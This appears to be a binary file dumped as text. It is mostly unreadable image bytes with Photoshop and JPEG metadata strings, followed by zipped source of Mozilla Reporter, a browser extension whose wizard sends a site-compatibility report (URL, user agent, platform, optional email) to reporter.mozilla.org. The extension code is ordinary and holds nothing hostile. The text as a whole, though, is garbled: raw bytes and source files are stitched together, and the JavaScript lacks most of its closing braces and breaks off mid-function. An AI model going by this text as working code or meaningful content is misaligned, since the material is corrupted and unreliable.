{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
